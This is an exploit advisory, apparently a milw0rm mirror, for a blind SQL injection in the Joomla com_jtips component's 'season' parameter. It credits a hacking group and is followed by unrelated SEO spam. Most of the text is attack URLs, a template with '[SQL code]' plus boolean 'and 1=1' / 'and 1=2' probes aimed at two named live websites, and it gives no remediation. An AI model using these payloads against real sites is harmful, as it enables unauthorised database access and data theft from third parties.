++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Joomla Component com_jtips (season) Blind SQL-injection Vulnerability ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ################################################### [+] Author : Chip D3 Bi0s [+] Group : LatinHackteam -------------------------------------------------- author : Russell... author Email : chipdebios[alt+64]gmail.com ################################################### Example: http://localhost/path/index.php?option=com_jtips&Itemid=1&task=ladder&season=2[SQL code] DEMO (1): http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=1 True !!!! http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=2 False !!! DEMO (2): http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=1 True !!! http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=! False !!! etc, etc.... +++++++++++++++++++++++++++++++++++++++ #[!] Produced in South America +++++++++++++++++++++++++++++++++++++++ tested: 1.0.7 / 1.0.9 # milw0rm.xmc.pl [8x16*32^n]
Polish:
Webdeveloper |
Probably the best hosting company Interserver
SEO Shop:
Multi-quality SEO links |
Best Proxy Service.
Group: xmc.pl